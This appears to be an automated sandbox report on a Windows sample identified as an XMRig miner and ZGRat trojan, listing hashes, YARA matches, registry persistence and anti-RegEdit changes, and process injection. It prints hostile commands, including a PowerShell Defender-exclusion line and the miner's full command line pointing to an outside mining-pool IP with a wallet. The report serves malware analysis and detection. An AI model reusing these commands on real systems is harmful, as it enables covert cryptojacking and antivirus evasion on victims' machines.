xmrig | f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
23/04/2024, 14:40

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General

Target

f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe
Size

3.9MB
MD5

0d28c308c7d3af1f50a24cd98d59adbe
SHA1

617eb940a77fffe2e8363f9a11430ebb56b4c988
SHA256

f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be
SHA512

d71da6edef67bc977ac8564f75cc0e8cdd31c0a9b37253017122f522c4d2f1ece5d8a56642dab40e3d8651ad1d1233ba0a27f78a536ddf897ddd392dbebb5ae8
SSDEEP

49152:/YQ9p/TMILu3UAJvYIJ7PBJw47zI8gFEtYnEZhNa+uOTapp5pP7eoi:DpgQEZPPT4Yj

Score

10^/10

xmrig zgrat evasion miner persistence rat

Malware Config

Signatures

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/4056-18-0x0000025872BE0000-0x0000025872CE2000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/4296-25-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-26-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-27-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-30-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-31-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-29-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-32-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-33-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-34-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-40-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-41-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4296-42-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe

Disables Task Manager via registry modification
evasion

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be = "\"C:\\Users\\Admin\\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe\""	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1976 set thread context of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 4056 set thread context of 4296	4056	csc.exe	100

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3632	powershell.exe
3632	powershell.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe
4056	csc.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	4056	csc.exe
Token: SeLockMemoryPrivilege	4296	AddInProcess.exe
Token: SeLockMemoryPrivilege	4296	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4296	AddInProcess.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 3632	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	88
PID 1976 wrote to memory of 3632	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	88
PID 1976 wrote to memory of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 1976 wrote to memory of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 1976 wrote to memory of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 1976 wrote to memory of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 1976 wrote to memory of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 1976 wrote to memory of 4056	1976	f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe	91
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100
PID 4056 wrote to memory of 4296	4056	csc.exe	100

C:\Users\Admin\AppData\Local\Temp\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe
"C:\Users\Admin\AppData\Local\Temp\f917cbb00490f27691097081db77cc38d0f776d374b2fbd40e4b592eeef578be.exe"
1⤵
- Disables RegEdit via registry modification
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3632
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wibb3yh4.en0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3632-5-0x00000208D87C0000-0x00000208D87E2000-memory.dmp

Filesize
136KB

Download
memory/3632-10-0x00007FFA81A10000-0x00007FFA824D1000-memory.dmp

Filesize
10.8MB

Download
memory/3632-11-0x00000208F0C20000-0x00000208F0C30000-memory.dmp

Filesize
64KB

Download
memory/3632-12-0x00000208F0C20000-0x00000208F0C30000-memory.dmp

Filesize
64KB

Download
memory/3632-15-0x00007FFA81A10000-0x00007FFA824D1000-memory.dmp

Filesize
10.8MB

Download
memory/4056-20-0x0000025872DD0000-0x0000025872DE0000-memory.dmp

Filesize
64KB

Download
memory/4056-19-0x00007FFA81770000-0x00007FFA82231000-memory.dmp

Filesize
10.8MB

Download
memory/4056-36-0x00007FFA81770000-0x00007FFA82231000-memory.dmp

Filesize
10.8MB

Download
memory/4056-18-0x0000025872BE0000-0x0000025872CE2000-memory.dmp

Filesize
1.0MB

Download
memory/4056-22-0x0000025872CE0000-0x0000025872D2C000-memory.dmp

Filesize
304KB

Download
memory/4056-21-0x000002585A450000-0x000002585A4A6000-memory.dmp

Filesize
344KB

Download
memory/4056-23-0x0000025872DD0000-0x0000025872DE0000-memory.dmp

Filesize
64KB

Download
memory/4056-24-0x0000025872DD0000-0x0000025872DE0000-memory.dmp

Filesize
64KB

Download
memory/4056-39-0x0000025872DD0000-0x0000025872DE0000-memory.dmp

Filesize
64KB

Download
memory/4056-38-0x0000025872DD0000-0x0000025872DE0000-memory.dmp

Filesize
64KB

Download
memory/4056-17-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/4056-37-0x0000025872DD0000-0x0000025872DE0000-memory.dmp

Filesize
64KB

Download
memory/4296-27-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-31-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-29-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-32-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-33-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-34-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-35-0x0000028185A60000-0x0000028185A80000-memory.dmp

Filesize
128KB

Download
memory/4296-30-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-28-0x0000028185900000-0x0000028185920000-memory.dmp

Filesize
128KB

Download
memory/4296-26-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-25-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-40-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-41-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-42-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4296-43-0x0000028185A80000-0x0000028185AA0000-memory.dmp

Filesize
128KB

Download
memory/4296-44-0x0000028185A80000-0x0000028185AA0000-memory.dmp

Filesize
128KB

Download